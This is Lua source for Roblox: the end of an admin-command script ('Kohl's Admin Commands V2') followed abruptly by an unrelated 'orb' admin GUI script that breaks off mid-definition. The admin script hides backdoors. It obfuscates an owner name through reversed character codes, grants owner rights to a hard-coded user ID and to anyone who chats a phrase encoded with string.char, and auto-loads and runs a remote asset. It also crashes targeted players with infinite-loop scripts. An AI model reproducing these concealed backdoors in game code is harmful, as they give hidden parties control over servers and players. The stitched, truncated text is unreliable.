- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
- local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
- local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "untrippy " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "strobe " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
- local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
- local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "unstrobe " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "blind " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
- local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "unblind " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "guifix " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "loopheal " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- if v then
- local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
- local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
- repeat wait()
- coroutine.resume(coroutine.create(function()
- if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
- plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
- plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
- end
- end))
- until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- end
- end
- if msg:lower():sub(1,11) == "unloopheal " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
- end
- if msg:lower():sub(1,10) == "loopfling " then
- local plrz = GetPlr(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- if v then
- local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
- local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
- repeat
- coroutine.resume(coroutine.create(function()
- if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
- local xran local zran
- repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
- repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
- plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
- local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
- end
- end))
- wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- end
- end
- if msg:lower():sub(1,12) == "unloopfling " then
- local plrz = GetPlr(plr, msg:lower():sub(13))
- for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
- end
- end
- -------------------------
- -- True Owner Commands --
- -------------------------
- if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
- if msg:lower():sub(1,3) == "oa " then
- local plrz = GetPlr(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unoa " then
- for i = 1, #owners do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
- end))
- end
- end
- end
- --------------------
- -- Owner Commands --
- --------------------
- if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
- if msg:lower():sub(1,3) == "pa " then
- local plrz = GetPlr(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unpa " then
- for i = 1, #admins do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
- end))
- end
- end
- end
- --------------------------
- -- Super Admin Commands --
- --------------------------
- if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
- if msg:lower() == "logs" then
- if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end
- if msg:lower():sub(1,9) == "loopkill " then
- local chk1 = msg:lower():sub(10):find(" ")
- local plrz = GetPlr(plr, msg:lower():sub(10))
- local num = 9999
- if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
- for i, v in pairs(plrz) do
- if v and not ChkAdmin(v.Name, false) then
- local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
- local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
- for i = 1, ]] .. tostring(num) .. [[ do
- repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
- coroutine.resume(coroutine.create(function()
- if plr and plr.Character then plr.Character:BreakJoints() end
- end))
- end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- end
- end
- if msg:lower():sub(1,11) == "unloopkill " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
- end
- if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
- if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
- if msg:lower():sub(1,3) == "sm " then
- Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
- end
- if msg:lower():sub(1,3) == "ko " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
- local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
- for n = 1, num do
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
- local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
- v.Character:BreakJoints()
- wait(1/44)
- v:LoadCharacter()
- wait(1/44)
- end
- end))
- end
- end
- end
- if msg:lower():sub(1,6) == "crash " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
- local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "kick " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkAdmin(v.Name, false) then v:Destroy() end
- end))
- end
- end
- if msg:lower():sub(1,6) == "admin " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
- end))
- end
- end
- if msg:lower():sub(1,8) == "unadmin " then
- for i = 1, #tempadmins do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
- end))
- end
- end
- if msg:lower():sub(1,4) == "ban " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
- end))
- end
- end
- if msg:lower():sub(1,6) == "unban " then
- for i = 1, #banland do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
- end))
- end
- end
- if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
- end
- end))
- end
- function AdminControl(plr)
- coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
- if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
- for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
- local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
- local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
- box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
- end)) end
- coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
- coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
- coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
- coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
- plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
- end
- if not ntab then script:Destroy() end
- if not bct then script:Destroy() end
- local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
- script.Name = "Kohl's Admin Commands V2"
- if not ntab then script:Destroy() end
- if not bct then script:Destroy() end
- if not tcb then script:Destroy() end
- game.Players.PlayerAdded:connect(AdminControl)
- for i, v in pairs(game.Players:children()) do AdminControl(v) end
- end
- local mod = game:service("InsertService"):LoadAsset(100808216)
- if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
- local newac = mod:findFirstChild("Kohl's Admin Commands V2")
- newac.Disabled = true
- local new = tonumber(mod:findFirstChild("Version", true).Value)
- local old = 0
- if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
- if new > old then
- local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
- for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
- for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
- for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
- for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
- local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
- local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
- local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
- local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
- local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
- wait()
- newac.Parent = game.Workspace
- newac.Disabled = false
- script.Disabled = true
- script:Destroy()
- else
- CHEESE()
- end
- else
- CHEESE()
- end
- end
- if text == ">getcmdsorb" then
- owners = "w4k"
- bannedlist = { "" }
- loopkill = { "no one is in the list" }
- orbsafetestmode=false
- antiban=true
- buildnumber=5
- if orbsafetestmode==true then
- buildnumber=5 .. " testmode"
- antiban = false
- end
- if orbsafetestmode==true then
- script.Parent = game.Workspace
- else
- script.Parent = nil
- end
- local credit = coroutine.create(function()
- a=Instance.new("ScreenGui")
- a.Parent = game:GetService("StarterGui")
- b=Instance.new("TextLabel")
- b.Parent = a
- b.Size = UDim2.new ( 1, 0, 0.05, 0)
- b.Position = UDim2.new ( 0, 0, 0, 0)
- b.Text = "Orb Made By ME"
- b.FontSize = Enum.FontSize.Size18
- b.TextStrokeColor3 = Color3.new(255*255, 255*255, 255*255)
- b.TextStrokeTransparency = .5
- local texteffect1 = coroutine.create(function()
- while wait() do
- for i = 1,10 do
- b.TextStrokeTransparency = b.TextStrokeTransparency-.05
- wait(.01)
- end
- for i = 1,10 do
- b.TextStrokeTransparency = b.TextStrokeTransparency+.05
- wait(.01)
- end
- end
- end)
- coroutine.resume(texteffect1)
- b.BackgroundColor3 = Color3.new ( 128, 0, 0)
- b.TextColor3 = Color3.new ( 0, 0, 128)
- c=game.Players:GetChildren()
- for i=1,#c do
- e=Instance.new("ScreenGui")
- e.Parent = c[i].PlayerGui
- f=Instance.new("TextLabel")
- f.Parent = e
- f.Size = UDim2.new ( 1, 0, 0.05, 0)
- f.Position = UDim2.new ( 0, 0, 0, 0)
- f.Text = "OS Gui Orb created by ME"
- f.FontSize = "Size18"
- f.BackgroundColor3 = Color3.new ( 128, 0, 0)
- f.TextColor3 = Color3.new ( 0, 0, 128)
- f.TextStrokeColor3 = Color3.new(255*255, 255*255, 255*255)
- f.TextStrokeTransparency = .5
- coroutine.resume(coroutine.create(function()
- while wait() do
- for i = 1,10 do
- f.TextStrokeTransparency = f.TextStrokeTransparency-.05
- wait(.01)
- end
- for i = 1,10 do
- f.TextStrokeTransparency = f.TextStrokeTransparency+.05
- wait(.01)
- end
- end
- end))
- end
- end)
- coroutine.resume(credit)
- function onEnter(player)
- gui1=Instance.new("ScreenGui")
- gui1.Parent = player.PlayerGui
- gui1.Name = player.Name.."'s GuiOrb"
- button1main = Instance.new("TextButton")
- button1main.Parent = gui1
- button1main.Position = UDim2.new ( 0.025, 0, 0.2, 0)
- button1main.Size = UDim2.new ( 0.1, 0, 0.05, 0)
- button1main.Style = 1
- button1main.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button1main.Text = "Open Commands"
- button2main = Instance.new("TextButton")
- button2main.Parent = gui1
- button2main.Position = UDim2.new ( 0.025, 0, 0.25, 0)
- button2main.Size = UDim2.new ( 0.1, 0, 0.05, 0)
- button2main.Style = 1
- button2main.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button2main.Text = "Open SelfCommands"
- frame1main=Instance.new("Frame")
- frame1main.Parent = gui1
- frame1main.Name = "FindPlayer"
- frame1main.Style = 2
- frame1main.Position = UDim2.new ( 0.125, 0, 0.2, 0)
- frame1main.Size = UDim2.new ( 0.15, 0, 0.2, 0)
- frame1main.Visible = false
- button1main.MouseButton1Click:connect(function()
- if frame1main.Visible == false then
- frame1main.Visible = true
- button1main.Text = "Close Commands"
- elseif frame1main.Visible == true then
- frame1main.Visible = false
- button1main.Text = "Open Commands"
- end
- end)
- button1fp=Instance.new("TextButton")
- button1fp.Parent = frame1main
- button1fp.Name = "Selected"
- button1fp.Style = 1
- button1fp.Position = UDim2.new ( 0.1, 0, 0.3, 0)
- button1fp.Size = UDim2.new ( 0.8, 0, 0.2, 0)
- button1fp.TextColor3 = Color3.new (0, 0, 0)
- button1fp.FontSize = Enum.FontSize.Size14
- button1fp.Font = "ArialBold"
- button1fp.TextStrokeColor3 = Color3.new(128*255, 255*255, 255*255)
- button1fp.TextStrokeTransparency = .5
- button2fp=Instance.new("TextButton")
- button2fp.Parent = frame1main
- button2fp.Style = 1
- button2fp.Position = UDim2.new ( 0.1, 0, 0.47, 0)
- button2fp.Size = UDim2.new ( 0.8, 0, 0.2, 0)
- button2fp.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button2fp.Text = "Next Player"
- button3fp=Instance.new("TextButton")
- button3fp.Parent = frame1main
- button3fp.Style = 1
- button3fp.Position = UDim2.new ( 0.1, 0, 0.64, 0)
- button3fp.Size = UDim2.new ( 0.8, 0, 0.2, 0)
- button3fp.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button3fp.Text = "Previous Player"
- currplayer=1
- local stablize = coroutine.create(function()
- while true do
- wait()
- allplayers=game.Players:GetChildren()
- if currplayer >= #allplayers+1 then
- currplayer = 1
- elseif currplayer == 0 then
- currplayer = #allplayers
- else
- button1fp.Text = allplayers[currplayer].Name
- if (allplayers[currplayer].Name=="ttyyuu12345") or (allplayers[currplayer].Name=="DroptheBomb") then
- button1fp.TextStrokeColor3 = Color3.new(255*255,255*255,0)
- else
- button1fp.TextStrokeColor3 = Color3.new(128*255, 255*255, 255*255)
- end
- end
- end
- end)
- coroutine.resume(stablize)
- button2fp.MouseButton1Click:connect(function()
- currplayer = currplayer+1
- end)
- button3fp.MouseButton1Click:connect(function()
- currplayer = currplayer-1
- end)
- frame2main=Instance.new("Frame")
- frame2main.Parent = gui1
- frame2main.Style = 2
- frame2main.Position = UDim2.new ( 0.275, 0, 0.2, 0)
- frame2main.Size = UDim2.new ( 0.3, 0, 0.6, 0)
- frame2main.Name = "Player"
- frame2main.Visible = false
- frame3main=Instance.new("Frame")
- frame3main.Parent = gui1
- frame3main.Style = 2
- frame3main.Position = UDim2.new ( 0.125, 0, 0.2, 0)
- frame3main.Size = UDim2.new ( 0.2, 0, 0.5, 0)
- frame3main.Name = "SelfCommands"
- frame3main.Visible = false
- button2main.MouseButton1Click:connect(function()
- if frame3main.Visible == true then
- button2main.Text = "Open SelfCommands"
- frame3main.Visible = false
- elseif frame3main.Visible == false then
- frame3main.Visible = true
- button2main.Text = "Close SelfCommands"
- end
- end)
- selected = "ttyyuu12345"
- button1fp.MouseButton1Click:connect(function()
- selected = button1fp.Text
- frame2main.Visible = true
- end)
- local frame1a2main = coroutine.create(function()
- while wait() do
- if frame1main.Visible == false then
- frame2main.Visible = false
- end
- end
- end)
- coroutine.resume(frame1a2main)
- frame1p=Instance.new("Frame")
- frame1p.Parent = frame2main
- frame1p.Name = "Commands"
- frame1p.Style = 2
- frame1p.Size = UDim2.new ( 1, 0, 0.8, 0)
- frame1p.Position = UDim2.new (0, 0, 0.2, 0)
- frame2p=Instance.new("Frame")
- frame2p.Parent = frame2main
- frame2p.Name = "PM"
- frame2p.Style = 2
- frame2p.Size = UDim2.new ( 0.5, 0, 0.3, 0)
- frame2p.Position = UDim2.new ( 1.025, 0, 0, 0)
- frame2p.Visible = false
- image1p=Instance.new("ImageLabel")
- image1p.Parent = frame2main
- image1p.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=200&y=200&Format=Png&username=ttyyuu12345"
- image1p.Name = "Person"
- image1p.BackgroundTransparency = 1
- image1p.Position = UDim2.new ( 0.3, 0, 0, 0)
- image1p.Size = UDim2.new ( 0.2, 0, 0.2, 0)
- label1p=Instance.new("TextLabel")
- label1p.Parent = frame2main
- label1p.Position = UDim2.new ( 0.72, 0, 0.1, 0)
- label1p.Name = "PersonName"
- label1p.Text = "ttyyuu12345"
- label1p.TextColor3 = Color3.new (0, 0, 0)
- label1p.FontSize = Enum.FontSize.Size14
- label1p.TextStrokeTransparency = .7
- local nametell = coroutine.create(function()
- while wait() do
- image1p.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=200&y=200&Format=Png&username="..selected
- if (selected=="DroptheBomb") or (selected=="ttyyuu12345") then
- label1p.TextStrokeColor3 = Color3.new(255*255, 255*255, 0)
- else
- label1p.TextStrokeColor3 = Color3.new(128*255, 255*255, 255*255)
- end
- label1p.Text = selected
- end
- end)
- local debug1 = coroutine.create(function()
- while wait() do
- selpl = game.Players:findFirstChild(selected)
- if selpl==nil then
- frame2main.Visible = false
- return
- end
- end
- end)
- coroutine.resume(debug1)
- coroutine.resume(nametell)
- button1pc=Instance.new("TextButton")
- button1pc.Parent = frame1p
- button1pc.Style = 1
- button1pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button1pc.Text = "Close"
- button1pc.Position = UDim2.new ( 0, 0, 0.9, 0)
- button1pc.Size = UDim2.new ( 1, 0, 0.1, 0)
- button1pc.MouseButton1Click:connect(function()
- frame2main.Visible = false
- end)
- button2pc=Instance.new("TextButton")
- button2pc.Parent = frame1p
- button2pc.Text = "Kill"
- button2pc.Style = 1
- button2pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button2pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button2pc.Position = UDim2.new ( 0, 0, 0, 0)
- button2pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if player1~=nil then
- player1.Character:BreakJoints()
- end
- end)
- button3pc=Instance.new("TextButton")
- button3pc.Parent = frame1p
- button3pc.Text = "FF"
- button3pc.Style = 1
- button3pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button3pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button3pc.Position = UDim2.new ( 0, 0, 0.1, 0)
- button3pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if player1~=nil then
- ff=Instance.new("ForceField")
- ff.Parent = player1.Character
- end
- end)
- button4pc=Instance.new("TextButton")
- button4pc.Parent = frame1p
- button4pc.Text = "TP to me"
- button4pc.Style = 1
- button4pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button4pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button4pc.Position = UDim2.new ( 0, 0, 0.2, 0)
- button4pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- player2=game.Players:findFirstChild(owners)
- if (player1~=nil)and(player2~=nil) then
- player1.Character:MoveTo(player2.Character.Torso.Position)
- end
- end)
- button5pc=Instance.new("TextButton")
- button5pc.Parent = frame1p
- button5pc.Text = "TP to"
- button5pc.Style = 1
- button5pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button5pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button5pc.Position = UDim2.new ( 0, 0, 0.3, 0)
- button5pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(owners)
- player2=game.Players:findFirstChild(selected)
- if (player1~=nil)and(player2~=nil) then
- player1.Character:MoveTo(player2.Character.Torso.Position)
- end
- end)
- button6pc=Instance.new("TextButton")
- button6pc.Parent = frame1p
- button6pc.Text = "Kick"
- button6pc.Style = 1
- button6pc.TextColor3 = Color3.new ( 65025, 0, 0)
- button6pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button6pc.Position = UDim2.new ( 0, 0, 0.4, 0)
- button6pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if (player1~=nil) then
- if (player1.Name~="ttyyuu12345")and(player1.Name~="DroptheBomb") then
- player1:Remove()
- else
- button6pc.Text = "You cannot do that"
- wait(2)
- button6pc.Text = "Kick"
- end
- end
- end)
- button7pc=Instance.new("TextButton")
- button7pc.Parent = frame1p
- button7pc.Text = "NBC"
- button7pc.Style = 1
- button7pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button7pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button7pc.Position = UDim2.new ( 0, 0, 0.5, 0)
- button7pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if (player1~=nil) then
- player1.MembershipTypeReplicate = 0
- end
- end)
- button8pc=Instance.new("TextButton")
- button8pc.Parent = frame1p
- button8pc.Text = "BC"
- button8pc.Style = 1
- button8pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button8pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button8pc.Position = UDim2.new ( 0, 0, 0.6, 0)
- button8pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if (player1~=nil) then
- player1.MembershipTypeReplicate = 1
- end
- end)
- button8pc=Instance.new("TextButton")
- button8pc.Parent = frame1p
- button8pc.Text = "TBC"
- button8pc.Style = 1
- button8pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
